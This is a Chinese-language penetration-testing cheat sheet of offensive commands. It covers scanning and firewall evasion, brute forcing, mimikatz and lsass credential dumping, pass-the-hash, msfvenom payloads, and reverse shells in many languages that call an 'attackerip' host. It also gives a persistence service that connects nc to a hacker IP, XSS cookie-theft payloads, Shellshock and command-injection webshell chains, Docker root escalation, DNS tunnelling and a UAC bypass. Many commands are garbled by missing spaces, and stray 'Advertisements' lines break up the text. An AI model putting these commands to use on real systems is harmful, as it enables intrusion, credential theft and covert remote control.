一些安全工具的實用技巧

一些安全工具的實用技巧

作者:xtr小神

最好的 NMAP 掃描策略

# 適用所有大小網路最好的 nmap 掃描策略

# 主機發現,生成存活主機列表

$ nmap -sn -T4 -oG Discovery.gnmap 192.168.56.0/24

$ grep "Status: Up"Discovery.gnmap | cut -f 2-d ' '>LiveHosts.txt

# 埠發現,發現大部分常用埠# http://nmap.org/presentations/BHDC08/bhdc08-slides-fyodor.pdf

$ nmap -sS -T4 -Pn-oG TopTCP-iL LiveHosts.txt

Advertisements

$ nmap -sU -T4 -Pn-oN TopUDP-iL LiveHosts.txt

$ nmap -sS -T4 -Pn--top-ports 3674-oG 3674-iL LiveHosts.txt

# 埠發現,發現全部埠,但 UDP 埠的掃描會非常慢

$ nmap -sS -T4 -Pn-p 0-65535-oN FullTCP-iL LiveHosts.txt

$ nmap -sU -T4 -Pn-p 0-65535-oN FullUDP-iL LiveHosts.txt

# 顯示 TCP\UDP 埠

$ grep "open"FullTCP|cut -f 1-d ' '| sort -nu | cut -f 1-d '/'|xargs | sed 's/ /,/g'|awk '{print "T:"$0}'

Advertisements

$ grep "open"FullUDP|cut -f 1-d ' '| sort -nu | cut -f 1-d '/'|xargs | sed 's/ /,/g'|awk '{print "U:"$0}'

# 偵測服務版本

$ nmap -sV -T4 -Pn-oG ServiceDetect-iL LiveHosts.txt

# 掃做系統掃描

$ nmap -O -T4 -Pn-oG OSDetect-iL LiveHosts.txt

# 系統和服務檢測

$ nmap -O -sV -T4 -Pn-p U:53,111,137,T:21-25,80,139,8080-oG OS_Service_Detect -iL LiveHosts.txt

Nmap – 躲避防火牆

# 分段

$ nmap -f

# 修改默認 MTU 大小,但必須為 8 的倍數(8,16,24,32 等等)

$ nmap --mtu 24

# 生成隨機數量的欺騙

$ nmap -D RND:10[target]

# 手動指定欺騙使用的 IP

$ nmap -D decoy1,decoy2,decoy3 etc.

# 殭屍網路掃描, 首先需要找到殭屍網路的IP

$ nmap -sI [Zombie IP][Target IP]

# 指定源埠號

$ nmap --source-port 80 IP

# 在每個掃描數據包后追加隨機數量的數據

$ nmap --data-length 25 IP

# MAC 地址欺騙,可以生成不同主機的 MAC 地址

$ nmap --spoof-mac Dell/Apple/3Com IP

Nmap 進行 Web 漏洞掃描

cd /usr/share/nmap/scripts/

wget http://www.computec.ch/projekte/vulscan/download/nmap_nse_vulscan-2.0.tar.gz && tar xzf nmap_nse_vulscan-2.0.tar.gz

nmap -sS -sV --script=vulscan/vulscan.nse target

nmap -sS -sV --script=vulscan/vulscan.nse –script-args vulscandb=scipvuldb.csv target

nmap -sS -sV --script=vulscan/vulscan.nse –script-args vulscandb=scipvuldb.csv -p80 target

nmap -PN -sS -sV --script=vulscan –script-args vulscancorrelation=1-p80 target

nmap -sV --script=vuln target

nmap -PN -sS -sV --script=all –script-args vulscancorrelation=1 target

使用 DIRB 爆破目錄

註:DIRB 是一個專門用於爆破目錄的工具,在 Kali 中默認已經安裝,類似工具還有國外的patator,dirsearch,DirBuster, 國內的御劍等等。

dirb http://IP:PORT /usr/share/dirb/wordlists/common.txt

Patator – 全能暴力破解測試工具

# git clone https://github.com/lanjelot/patator.git /usr/share/patator

# SMTP 爆破

$ patator smtp_login host=192.168.17.129 user=Ololena password=FILE0 0=/usr/share/john/password.lst

$ patator smtp_login host=192.168.17.129 user=FILE1 password=FILE0 0=/usr/share/john/password.lst 1=/usr/share/john/usernames.lst

$ patator smtp_login host=192.168.17.129 helo='ehlo 192.168.17.128' user=FILE1 password=FILE0 0=/usr/share/john/password.lst 1=/usr/share/john/usernames.lst

$ patator smtp_login host=192.168.17.129 user=Ololena password=FILE0 0=/usr/share/john/password.lst -x ignore:fgrep='incorrect password or account name'

使用 Fierce 爆破 DNS

註:Fierce 會檢查 DNS 伺服器是否允許區域傳送。如果允許,就會進行區域傳送並通知用戶,如果不允許,則可以通過查詢 DNS 伺服器枚舉主機名。類似工具:subDomainsBrute 和 SubBrute 等等

# http://ha.ckers.org/fierce/

$ ./fierce.pl -dns example.com

$ ./fierce.pl –dns example.com –wordlist myWordList.txt

使用 Nikto 掃描 Web 服務

nikto -C all -h http://IP

掃描 WordPress

git clone https://github.com/wpscanteam/wpscan.git && cd wpscan./wpscan –url http://IP/ –enumerate p

HTTP 指紋識別

wget http://www.net-square.com/_assets/httprint_linux_301.zip && unzip httprint_linux_301.zip

cd httprint_301/linux/./httprint -h http://IP -s signatures.txt

使用 Skipfish 掃描

註:Skipfish 是一款 Web 應用安全偵查工具,Skipfish 會利用遞歸爬蟲和基於字典的探針生成一幅互動式網站地圖,最終生成的地圖會在通過安全檢查后輸出。

skipfish -m 5-LY -S /usr/share/skipfish/dictionaries/complete.wl -o ./skipfish2 -u http://IP

使用 NC 掃描

nc -v -w 1 target -z 1-1000for i in{101..102};do nc -vv -n -w 1192.168.56.$i 21-25-z;done

Unicornscan

註:Unicornscan 是一個信息收集和安全審計的工具。

us -H -msf -Iv192.168.56.101-p 1-65535us -H -mU -Iv192.168.56.101-p 1-65535

-H 在生成報告階段解析主機名-m 掃描類型(sf - tcp, U - udp)-Iv-詳細

使用 Xprobe2 識別操作系統指紋

xprobe2 -v -p tcp:80:open IP

枚舉 Samba

nmblookup -A target

smbclient //MOUNT/share -I target -N

rpcclient -U "" target

enum4linux target

枚舉 SNMP

snmpget -v 1-c public IP

snmpwalk -v 1-c public IP

snmpbulkwalk -v2c -c public-Cn0-Cr10 IP

實用的 Windows cmd 命令

net localgroup Users

net localgroup Administrators

search dir/s *.docsystem("start cmd.exe /k $cmd")

sc create microsoft_update binpath="cmd /K start c:\nc.exe -d ip-of-hacker port -e cmd.exe" start=auto error= ignore/c C:\nc.exe -e c:\windows\system32\cmd.exe -vv 23.92.17.1037779

mimikatz.exe "privilege::debug""log""sekurlsa::logonpasswords"Procdump.exe -accepteula -ma lsass.exe lsass.dmp

mimikatz.exe "sekurlsa::minidump lsass.dmp""log""sekurlsa::logonpasswords"

C:\temp\procdump.exe -accepteula -ma lsass.exe lsass.dmp 32位系統

C:\temp\procdump.exe -accepteula -64-ma lsass.exe lsass.dmp 64位系統

PuTTY 連接隧道

轉發遠程埠到目標地址plink.exe -P 22-l root -pw "1234"-R 445:127.0.0.1:445 IP

Meterpreter 埠轉發

# https://www.offensive-security.com/metasploit-unleashed/portfwd/# 轉發遠程埠到目標地址meterpreter > portfwd add –l 3389–p 3389–r 172.16.194.141

kali > rdesktop 127.0.0.1:3389

開啟 RDP 服務

reg add "hklm\system\currentcontrolset\control\terminal server"/f /v fDenyTSConnections /t REG_DWORD /d 0

netsh firewall set service remoteadmin enable

netsh firewall set service remotedesktop enable

關閉 Windows 防火牆

netsh firewall set opmode disable

Meterpreter VNC\RDP

# https://www.offensive-security.com/metasploit-unleashed/enabling-remote-desktop/

run getgui -u admin -p 1234

run vnc -p 5043

使用 Mimikatz

獲取 Windows 明文用戶名密碼

git clone https://github.com/gentilkiwi/mimikatz.git

privilege::debug

sekurlsa::logonPasswords full

獲取哈希值

git clone https://github.com/byt3bl33d3r/pth-toolkit

pth-winexe -U hash //IP cmd

或者

apt-get install freerdp-x11

xfreerdp /u:offsec /d:win2012 /pth:HASH /v:IP

在或者

meterpreter > run post/windows/gather/hashdumpAdministrator:500:e52cac67419a9a224a3b108f3fa6cb6d:8846f7eaee8fb117ad06bdd830b7586c:::

msf >use exploit/windows/smb/psexec

msf exploit(psexec)>set payload windows/meterpreter/reverse_tcp

msf exploit(psexec)>setSMBPass e52cac67419a9a224a3b108f3fa6cb6d:8846f7eaee8fb117ad06bdd830b7586c

msf exploit(psexec)> exploit

meterpreter > shell

使用 Hashcat 破解密碼

hashcat -m 400-a 0 hash /root/rockyou.txt

使用 NC 抓取 Banner 信息

nc 192.168.0.1080

GET / HTTP/1.1Host:192.168.0.10User-Agent:Mozilla/4.0Referrer: www.example.com<enter><enter>

使用 NC 在 Windows 上反彈 shell

c:>nc -Lp31337-vv -e cmd.exe

nc 192.168.0.1031337

c:>nc example.com 80-e cmd.exe

nc -lp 80

nc -lp 31337-e /bin/bash

nc 192.168.0.1031337

nc -vv -r(random)-w(wait)1192.168.0.10-z(i/o error)1-1000

查找 SUID\SGID root 文件

# 查找 SUID root 文件

find /-user root -perm -4000-print

# 查找 SGID root 文件:

find /-group root -perm -2000-print

# 查找 SUID 和 SGID 文件:

find /-perm -4000-o -perm -2000-print

# 查找不屬於任何用戶的文件:

find /-nouser -print

# 查找不屬於任何用戶組的文件:

find /-nogroup -print

# 查找軟連接及其指向:

find /-type l -ls

Python shell

python -c 'import pty;pty.spawn("/bin/bash")'

Python\Ruby\PHP HTTP 伺服器

python2 -m SimpleHTTPServer

python3 -m http.server

ruby -rwebrick -e "WEBrick::HTTPServer.new(:Port => 8888,

ocumentRoot => Dir.pwd).start"

php -S 0.0.0.0:8888

獲取進程對應的 PID

fuser -nv tcp 80

fuser -k -n tcp 80

使用 Hydra 爆破 RDP

hydra -l admin -P /root/Desktop/passwords -S X.X.X.X rdp

掛載遠程 Windows 共享文件夾

smbmount //X.X.X.X/c$ /mnt/remote/ -o username=user,password=pass,rw

Kali 下編譯 Exploit

gcc -m32 -o output32 hello.c (32位)gcc -m64 -o output hello.c (64位)

Kali 下編譯 Windows Exploit

wget -O mingw-get-setup.exe http://sourceforge.net/projects/mingw/files/Installer/mingw-get-setup.exe/download

wine mingw-get-setup.exeselect mingw32-base

cd /root/.wine/drive_c/windows

wget http://gojhonny.com/misc/mingw_bin.zip && unzip mingw_bin.zip

cd /root/.wine/drive_c/MinGW/bin

wine gcc -o ability.exe /tmp/exploit.c -lwsock32

wine ability.exe

NASM 命令

註:NASM 全稱 The Netwide Assembler,是一款基於80×86和x86-64平台的彙編語言編譯程序,其設計初衷是為了實現編譯器程序跨平台和模塊化的特性。

nasm -f bin -o payload.bin payload.asmnasm -f elf payload.asm; ld -o payload payload.o; objdump -d payload

SSH 穿透

ssh -D 127.0.0.1:1080-p 22 user@IPAdd socks4 127.0.0.11080in/etc/proxychains.conf

proxychains commands target

SSH 穿透從一個網路到另一個網路

ssh -D 127.0.0.1:1080-p 22 user1@IP1Add socks4 127.0.0.11080in/etc/proxychains.conf

proxychains ssh -D 127.0.0.1:1081-p 22 user1@IP2Add socks4 127.0.0.11081in/etc/proxychains.conf

proxychains commands target

使用 metasploit 進行穿透

route add X.X.X.X 255.255.255.01use auxiliary/server/socks4a

run

proxychains msfcli windows/* PAYLOAD=windows/meterpreter/reverse_tcp LHOST=IP LPORT=443 RHOST=IP E

或者

# https://www.offensive-security.com/metasploit-unleashed/pivoting/

meterpreter > ipconfig

IP Address : 10.1.13.3

meterpreter > run autoroute -s 10.1.13.0/24

meterpreter > run autoroute -p10.1.13.0 255.255.255.0 Session 1

meterpreter > Ctrl+Z

msf auxiliary(tcp) > use exploit/windows/smb/psexec

msf exploit(psexec) > set RHOST 10.1.13.2

msf exploit(psexec) > exploit

meterpreter > ipconfig

IP Address : 10.1.13.2

基於 CSV 文件查詢 Exploit-DB

git clone https://github.com/offensive-security/exploit-database.git

cd exploit-database./searchsploit –u./searchsploit apache 2.2./searchsploit "Linux Kernel"

cat files.csv | grep -i linux | grep -i kernel | grep -i local| grep -v dos | uniq | grep 2.6| egrep "<|<="| sort -k3

MSF Payloads

msfvenom -p windows/meterpreter/reverse_tcp LHOST=<IP Address> X > system.exe

msfvenom -p php/meterpreter/reverse_tcp LHOST=<IP Address> LPORT=443 R > exploit.php

msfvenom -p windows/meterpreter/reverse_tcp LHOST=<IP Address> LPORT=443-e -a x86 --platform win -f asp -o file.asp

msfvenom -p windows/meterpreter/reverse_tcp LHOST=<IP Address> LPORT=443-e x86/shikata_ga_nai -b "\x00"-a x86 --platform win -f c

MSF 生成在 Linux 下反彈的 Meterpreter Shell

msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=<IP Address> LPORT=443-e -f elf -a x86 --platform linux -o shell

MSF 生成反彈 Shell (C Shellcode)

msfvenom -p windows/shell_reverse_tcp LHOST=127.0.0.1 LPORT=443-b "\x00\x0a\x0d"-a x86 --platform win -f c

MSF 生成反彈 Python Shell

msfvenom -p cmd/unix/reverse_python LHOST=127.0.0.1 LPORT=443-o shell.py

MSF 生成反彈 ASP Shell

msfvenom -p windows/meterpreter/reverse_tcp LHOST=<Your IP Address> LPORT=<YourPort to ConnectOn>-f asp -a x86 --platform win -o shell.asp

MSF 生成反彈 Bash Shell

msfvenom -p cmd/unix/reverse_bash LHOST=<Your IP Address> LPORT=<YourPort to ConnectOn>-o shell.sh

MSF 生成反彈 PHP Shell

msfvenom -p php/meterpreter_reverse_tcp LHOST=<Your IP Address> LPORT=<YourPort to ConnectOn>-o shell.php

add <?php at the beginning

perl -i~-0777pe's/^/<?php \n/' shell.php

MSF 生成反彈 Win Shell

msfvenom -p windows/meterpreter/reverse_tcp LHOST=<Your IP Address> LPORT=<YourPort to ConnectOn>-f exe -a x86 --platform win -o shell.exe

Linux 常用安全命令

# 使用 uid 查找對應的程序

find /-uid 0-perm -4000

# 查找哪裡擁有寫許可權

find /-perm -o=w

# 查找名稱中包含點和空格的文件

find /-name " "-print

find /-name ".."-print

find /-name ". "-print

find /-name " "-print

# 查找不屬於任何人的文件

find /-nouser

# 查找未鏈接的文件

lsof +L1

# 獲取進程打開埠的信息

lsof -i

# 看看 ARP 表中是否有奇怪的東西

arp -a

# 查看所有賬戶

getent passwd

# 查看所有用戶組

getent group

# 列舉所有用戶的 crontabsfor user in $(getent passwd|cut -f1 -d:);do echo "### Crontabs for $user ####"; crontab -u $user -l;done

# 生成隨機密碼

cat /dev/urandom| tr -dc 『a-zA-Z0-9-_!@#$%^&*()_+{}|:<>?=』|fold -w 12| head -n 4

# 查找所有不可修改的文件

find .| xargs -I file lsattr -a file 2>/dev/null| grep 『^….i』

# 使文件不可修改

chattr -i file

Windows 緩衝區溢出利用命令

msfvenom -p windows/shell_bind_tcp -a x86 --platform win -b "\x00"-f c

msfvenom -p windows/meterpreter/reverse_tcp LHOST=X.X.X.X LPORT=443-a x86 --platform win -e x86/shikata_ga_nai -b "\x00"-f c

COMMONLY USED BAD CHARACTERS:

\x00\x0a\x0d\x20For http request

\x00\x0a\x0d\x20\x1a\x2c\x2e\3a\x5cEndingwith(0\n\r_)

# 常用命令:

pattern create

pattern offset (EIP Address)

pattern offset (ESP Address)add garbage upto EIP value and add (JMP ESP address)in EIP .(ESP = shellcode )

!pvefindaddr pattern_create 5000!pvefindaddr suggest!pvefindaddr modules!pvefindaddr nosafeseh

!mona config -set workingfolder C:\Mona\%p!mona config -get workingfolder!mona mod!mona bytearray -b "\x00\x0a"!mona pc 5000!mona po EIP!mona suggest

SEH – 結構化異常處理

註:SEH(「Structured Exception Handling」),即結構化異常處理,是 windows 操作系統提供給程序設計者的強有力的處理程序錯誤或異常的武器。

# https://en.wikipedia.org/wiki/Microsoft-specific_exception_handling_mechanisms#SEH# http://baike.baidu.com/view/243131.htm!mona suggest!mona nosafeseh

nseh="\xeb\x06\x90\x90"(next seh chain)

iseh=!pvefindaddr p1 -n -o -i (POP POP RETRUN orPOPr32,POPr32,RETN)

ROP (DEP)

註:ROP(「Return-Oriented Programming」)是計算機安全漏洞利用技術,該技術允許攻擊者在安全防禦的情況下執行代碼,如不可執行的內存和代碼簽名。

DEP(「Data Execution Prevention」)是一套軟硬體技術,在內存上嚴格將代碼和數據進行區分,防止數據當做代碼執行。

# https://en.wikipedia.org/wiki/Return-oriented_programming# https://zh.wikipedia.org/wiki/%E8%BF%94%E5%9B%9E%E5%AF%BC%E5%90%91%E7%BC%96%E7%A8%8B# https://en.wikipedia.org/wiki/Data_Execution_Prevention# http://baike.baidu.com/item/DEP/7694630!mona modules!mona ropfunc -m *.dll -cpb "\x00\x09\x0a"!mona rop -m *.dll -cpb "\x00\x09\x0a"(auto suggest)

ASLR – 地址空間格局隨機化

# https://en.wikipedia.org/wiki/Address_space_layout_randomization# http://baike.baidu.com/view/3862310.htm!mona noaslr

尋蛋(EGG Hunter)技術

Egg hunting這種技術可以被歸為「分級shellcode」,它主要可以支持你用一小段特製的shellcode來找到你的實際的(更大的)shellcode(我們的『雞蛋『),原理就是通過在內存中搜索我們的最終shellcode。換句話說,一段短代碼先執行,然後再去尋找真正的shellcode並執行。– 參考自看雪論壇,更多詳情可以查閱我在代碼註釋中增加的鏈接。

# https://www.corelan.be/index.php/2010/01/09/exploit-writing-tutorial-part-8-win32-egg-hunting/# http://www.pediy.com/kssd/pediy12/116190/831793/45248.pdf# http://www.fuzzysecurity.com/tutorials/expDev/4.html!mona jmp -r esp!mona egg -t lxxl

\xeb\xc4 (jump backward -60)

buff=lxxllxxl+shell!mona egg -t 'w00t'

GDB Debugger 常用命令

# 設置斷點break*_start

# 執行下一個命令next

step

n

s

# 繼續執行continue

c

# 數據

checking 'REGISTERS'and'MEMORY'

# 顯示寄存器的值: (Decimal,Binary,Hex)print/d –>Decimalprint/t –>Binaryprint/x –>Hex

O/P :(gdb)print/d $eax$17 =13(gdb)print/t $eax$18 =1101(gdb)print/x $eax$19 =0xd(gdb)

# 顯示特定內存地址的值command : x/nyz (Examine)

n –>Number of fields to display ==>

y –>Formatfor output ==> c (character), d (decimal), x (Hexadecimal)

z –>Size of field to be displayed ==> b (byte), h (halfword), w (word 32Bit)

BASH 反彈 Shell

bash -i >&/dev/tcp/X.X.X.X/4430>&1

exec/bin/bash 0&02>&0exec/bin/bash 0&02>&0

0<&196;exec196<>/dev/tcp/attackerip/4444; sh <&196>&1962>&196

0<&196;exec196<>/dev/tcp/attackerip/4444; sh <&196>&1962>&196

exec5<>/dev/tcp/attackerip/4444 cat <&5|while read line;do $line 2>&5>&5;done# or: while read line 0<&5; do $line 2>&5 >&5; doneexec5<>/dev/tcp/attackerip/4444

cat <&5|while read line;do $line 2>&5>&5;done# or:while read line 0<&5;do $line 2>&5>&5;done

/bin/bash -i >/dev/tcp/attackerip/80800<&12>&1/bin/bash -i >/dev/tcp/X.X.X.X/4430<&12>&1

PERL 反彈 Shell

perl -MIO -e '$p=fork;exit,if($p);$c=new IO::Socket::INET(PeerAddr,"attackerip:443");STDIN->fdopen($c,r);$~->fdopen($c,w);system$_ while<>;'

# Win 平台

perl -MIO -e '$c=new IO::Socket::INET(PeerAddr,"attackerip:4444");STDIN->fdopen($c,r);$~->fdopen($c,w);system$_ while<>;'

perl -e 'use Socket;$i="10.0.0.1";$p=1234;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};』

RUBY 反彈 Shell

ruby -rsocket -e 'exit if fork;c=TCPSocket.new("attackerip","443");while(cmd=c.gets);IO.popen(cmd,"r"){|io|c.print io.read}end'

# Win 平台ruby -rsocket -e 'c=TCPSocket.new("attackerip","443");while(cmd=c.gets);IO.popen(cmd,"r"){|io|c.print io.read}end'ruby -rsocket -e 'f=TCPSocket.open("attackerip","443").to_i;exec sprintf("/bin/sh -i <&%d >&%d 2>&%d",f,f,f)'

PYTHON 反彈 Shell

python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("attackerip",443));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'

PHP 反彈 Shell

php -r '$sock=fsockopen("attackerip",443);exec("/bin/sh -i <&3 >&3 2>&3");'

JAVA 反彈 Shell

r =Runtime.getRuntime()

p = r.exec(["/bin/bash","-c","exec 5<>/dev/tcp/attackerip/443;cat <&5 | while read line; do \$line 2>&5 >&5; done"]asString[])

p.waitFor()

NETCAT 反彈 Shell

nc -e /bin/sh attackerip 4444

nc -e /bin/sh 192.168.37.10443

# 如果 -e 參數被禁用,可以嘗試以下命令# mknod backpipe p && nc attackerip 443 0<backpipe | /bin/bash 1>backpipe/bin/sh | nc attackerip 443

rm -f /tmp/p; mknod /tmp/p p && nc attackerip 44430/tmp/

# 如果你安裝錯了 netcat 的版本,請嘗試以下命令

rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc attackerip >/tmp/f

TELNET 反彈 Shell

# 如果 netcat 不可用或者 /dev/tcp

mknod backpipe p && telnet attackerip 4430<backpipe |/bin/bash 1>backpipe

XTERM 反彈 Shell

# http://baike.baidu.com/view/418628.htm# 開啟 X 伺服器 (:1 – 監聽 TCP 埠 6001)

apt-get install xnestXnest:1

# 記得授權來自目標 IP 的連接

xterm -display 127.0.0.1:1

# 授權訪問

xhost +targetip

# 在目標機器上連接回我們的 X 伺服器

xterm -display attackerip:1/usr/openwin/bin/xterm -display attackerip:1or

$ DISPLAY=attackerip:0 xterm

XSS 備忘錄

https://www.owasp.org/index.php/XSS_Filter_Evasion_Cheat_Sheet("< iframes > src=http://IP:PORT </ iframes >")

<script>document.location=http://IP:PORT</script>

';alert(String.fromCharCode(88,83,83))//\';alert(String.fromCharCode(88,83,83))//";alert(String.fromCharCode(88,83,83))//\";alert(String.fromCharCode(88,83,83))//–></SCRIPT>">'><SCRIPT>alert(String.fromCharCode(88,83,83))</SCRIPT>

";!–"<XSS>=&amp;amp;{()}

<IMG SRC="javascript:alert('XSS');"><IMG SRC=javascript:alert('XSS')><IMG """><SCRIPT>alert("XSS")</SCRIPT>"">

<IMG SRC=&amp;#106;&amp;#97;&amp;#118;&amp;#97;&amp;#115;&amp;#99;&amp;#114;&amp;#105;&amp;#112;&amp;#116;&amp;#58;&amp;#97;&amp;#108;&amp;#101;&amp;#114;&amp;#116;&amp;#40;&amp;#39;&amp;#88;&amp;#83;&amp;#83;&amp;#39;&amp;#41;>

<IMG SRC=&amp;#0000106&amp;#0000097&amp;#0000118&amp;#0000097&amp;#0000115&amp;#0000099&amp;#0000114&amp;#0000105&amp;#0000112&amp;#0000116&amp;#0000058&amp;#0000097&amp;#0000108&amp;#0000101&amp;#0000114&amp;#0000116&amp;#0000040&amp;#0000039&amp;#0000088&amp;#0000083&amp;#0000083&amp;#0000039&amp;#0000041>

<IMG SRC="jav ascript:alert('XSS');">

perl -e 'print "<IMG SRC=javascript:alert(\"XSS\")>";' > out

<BODY onload!#$%&()*~+-_.,:;?@[/|\]^`=alert("XSS")>

(">< iframes http://google.com < iframes >)

<BODY BACKGROUND="javascript:alert('XSS')"><FRAMESET><FRAME SRC=」javascript:alert('XSS');"></FRAMESET>

"><script >alert(document.cookie)</script>%253cscript%253ealert(document.cookie)%253c/script%253e"><s"%2b"cript>alert(document.cookie)</script>

%22/%3E%3CBODY%20onload=』document.write(%22%3Cs%22%2b%22cript%20src=http://my.box.com/xss.js%3E%3C/script%3E%22)'%3E

<img src=asdf onerror=alert(document.cookie)>

SSH Over SCTP (使用 Socat)

# 遠端伺服器# 假設你準備讓 SCTP socket 監聽埠 80/SCTP 並且 sshd 埠在 22/TCP

$ socat SCTP-LISTEN:80,fork TCP:localhost:22

# 本地端# 將 SERVER_IP 換成遠端伺服器的地址,然後將 80 換成 SCTP 監聽的埠號

$ socat TCP-LISTEN:1337,fork SCTP:SERVER_IP:80

# 創建 socks 代理# 替換 username 和 -p 的埠號

$ ssh -lusername localhost -D 8080-p 1337

使用洋蔥網路

# 安裝服務

$ apt-get install tor torsocks

# 綁定 ssh 到 tor 服務埠 80# /etc/tor/torrcSocksPolicy accept 127.0.0.1SocksPolicy accept 192.168.0.0/16Log notice file /var/log/tor/notices.logRunAsDaemon1HiddenServiceDir/var/lib/tor/ssh_hidden_service/HiddenServicePort80127.0.0.1:22PublishServerDescriptor0

$ /etc/init.d/tor start

$ cat /var/lib/tor/ssh_hidden_service/hostname3l5zstvt1zk5jhl662.onion

# ssh 客戶端連接

$ apt-get install torsocks

$ torsocks ssh [email protected] -p 80

Metagoofil – 元數據收集工具

註:Metagoofil 是一款利用Google收集信息的工具。

# http://www.edge-security.com/metagoofil.php# 它可以自動在搜素引擎中檢索和分析文件,還具有提供Mac地址,用戶名列表等其他功能

$ python metagoofil.py -d example.com -t doc,pdf -l 200-n 50-o examplefiles -f results.html

利用 Shellshock

# 一個發現並利用伺服器 Shellshock 的工具# https://github.com/nccgroup/shocker

$ ./shocker.py -H 192.168.56.118--command "/bin/cat /etc/passwd"-c /cgi-bin/status --verbose

# 查看文件

$ echo -e "HEAD /cgi-bin/status HTTP/1.1\r\nUser-Agent: () { :;}; echo \$(</etc/passwd)\r\nHost: vulnerable\r\nConnection: close\r\n\r\n"| nc 192.168.56.11880

# 綁定 shell

$ echo -e "HEAD /cgi-bin/status HTTP/1.1\r\nUser-Agent: () { :;}; /usr/bin/nc -l -p 9999 -e /bin/sh\r\nHost: vulnerable\r\nConnection: close\r\n\r\n"| nc 192.168.56.11880

# 反彈 Shell

$ nc -l -p 443

$ echo "HEAD /cgi-bin/status HTTP/1.1\r\nUser-Agent: () { :;}; /usr/bin/nc 192.168.56.103 443 -e /bin/sh\r\nHost: vulnerable\r\nConnection: close\r\n\r\n"| nc 192.168.56.11880

獲取 Docker 的 Root

# 獲取 Docker 的 Root# user 必須在 docker 用戶組中

ek@victum:~/docker-test$ id

uid=1001(ek) gid=1001(ek) groups=1001(ek),114(docker)

ek@victum:~$ mkdir docker-test

ek@victum:~$ cd docker-test

ek@victum:~$ cat >Dockerfile

FROM debian:wheezy

ENV WORKDIR /stuff

RUN mkdir -p $WORKDIR

VOLUME [ $WORKDIR ]

WORKDIR $WORKDIR<< EOF

ek@victum:~$ docker build -t my-docker-image .

ek@victum:~$ docker run -v $PWD:/stuff -t my-docker-image /bin/sh -c \'cp /bin/sh /stuff && chown root.root /stuff/sh && chmod a+s /stuff/sh'./sh

whoami# root

ek@victum:~$ docker run -v /etc:/stuff -t my-docker-image /bin/sh -c 'cat /stuff/shadow'

使用 DNS 隧道繞過防火牆

# 讓數據和命令使用 DNS 隧道傳輸以繞過防火牆的檢查# dnscat2 支持從目標主機上面上傳和下載命令來獲取文件、數據和程序

# 伺服器 (攻擊者)

$ apt-get update

$ apt-get-y install ruby-dev git make g++

$ gem install bundler

$ git clone https://github.com/iagox86/dnscat2.git

$ cd dnscat2/server

$ bundle install

$ ruby ./dnscat2.rb

dnscat2>New session established:16059

dnscat2> session -i 16059

# 客戶機 (目標)# https://downloads.skullsecurity.org/dnscat2/# https://github.com/lukebaggett/dnscat2-powershell

$ dnscat --host <dnscat server_ip>

編譯 Assemble 代碼

$ nasm -f elf32 simple32.asm-o simple32.o

$ ld -m elf_i386 simple32.o simple32

$ nasm -f elf64 simple.asm-o simple.o

$ ld simple.o -o simple

使用非交互 Shell 打入內網

# 生成 shell 使用的 ssh 密鑰

$ wget -O --q "http://domain.tk/sh.php?cmd=whoami"

$ wget -O --q "http://domain.tk/sh.php?cmd=ssh-keygen -f /tmp/id_rsa -N \"\" "

$ wget -O --q "http://domain.tk/sh.php?cmd=cat /tmp/id_rsa"

# 增加用戶 tempuser

$ useradd -m tempuser

$ mkdir /home/tempuser/.ssh && chmod 700/home/tempuser/.ssh

$ wget -O --q "http://domain.tk/sh.php?cmd=cat /tmp/id_rsa">/home/tempuser/.ssh/authorized_keys

$ chmod 700/home/tempuser/.ssh/authorized_keys

$ chown -R tempuser:tempuser /home/tempuser/.ssh

# 反彈 ssh shell

$ wget -O --q "http://domain.tk/sh.php?cmd=ssh -i /tmp/id_rsa -o StrictHostKeyChecking=no -R 127.0.0.1:8080:192.168.20.13:8080 -N -f tempuser@<attacker_ip>"

利用 POST 遠程命令執行獲取 Shell

attacker:~$ curl -i -s -k -X 'POST'--data-binary $'IP=%3Bwhoami&submit=submit''http://victum.tk/command.php'

attacker:~$ curl -i -s -k -X 'POST'--data-binary $'IP=%3Becho+%27%3C%3Fphp+system%28%24_GET%5B%22cmd%22%5D%29%3B+%3F%3E%27+%3E+..%2Fshell.php&submit=submit''http://victum.tk/command.php'

attacker:~$ curl http://victum.tk/shell.php?cmd=id

# 在伺服器上下載 shell (phpshell.php)

http://victum.tk/shell.php?cmd=php%20-r%20%27file_put_contents%28%22phpshell.php%22,%20fopen%28%22http://attacker.tk/phpshell.txt%22,%20%27r%27%29%29;%27

# 運行 nc 並執行 phpshell.phpattacker:~$ nc -nvlp 1337

以管理員身份在 Win7 上反彈具有系統許可權的 Shell

msfvenom –p windows/shell_reverse_tcp LHOST=192.168.56.102–f exe > danger.exe

# 顯示賬戶配置

net user <login>

# Kali 上下載 psexec

https://technet.microsoft.com/en-us/sysinternals/bb897553.aspx

# 使用 powershell 腳本上傳 psexec.exe 到目標機器

echo $client =New-ObjectSystem.Net.WebClient> script.ps1

echo $targetlocation ="http://192.168.56.102/PsExec.exe">> script.ps1

echo $client.DownloadFile($targetlocation,"psexec.exe")>> script.ps1

powershell.exe -ExecutionPolicyBypass-NonInteractive-File script.ps1

# 使用 powershell 腳本上傳 danger.exe 到目標機器

echo $client =New-ObjectSystem.Net.WebClient> script2.ps1

echo $targetlocation ="http://192.168.56.102/danger.exe">> script2.ps1

echo $client.DownloadFile($targetlocation,"danger.exe")>> script2.ps1

powershell.exe -ExecutionPolicyBypass-NonInteractive-File script2.ps1

# 使用預編譯的二進位文件繞過 UAC:

https://github.com/hfiref0x/UACME

# 使用 powershell 腳本上傳 https://github.com/hfiref0x/UACME/blob/master/Compiled/Akagi64.exe 到目標機器

echo $client =New-ObjectSystem.Net.WebClient> script2.ps1

echo $targetlocation ="http://192.168.56.102/Akagi64.exe">> script3.ps1

echo $client.DownloadFile($targetlocation,"Akagi64.exe")>> script3.ps1

powershell.exe -ExecutionPolicyBypass-NonInteractive-File script3.ps1

# 在 Kali 上創建監聽

nc -lvp 4444

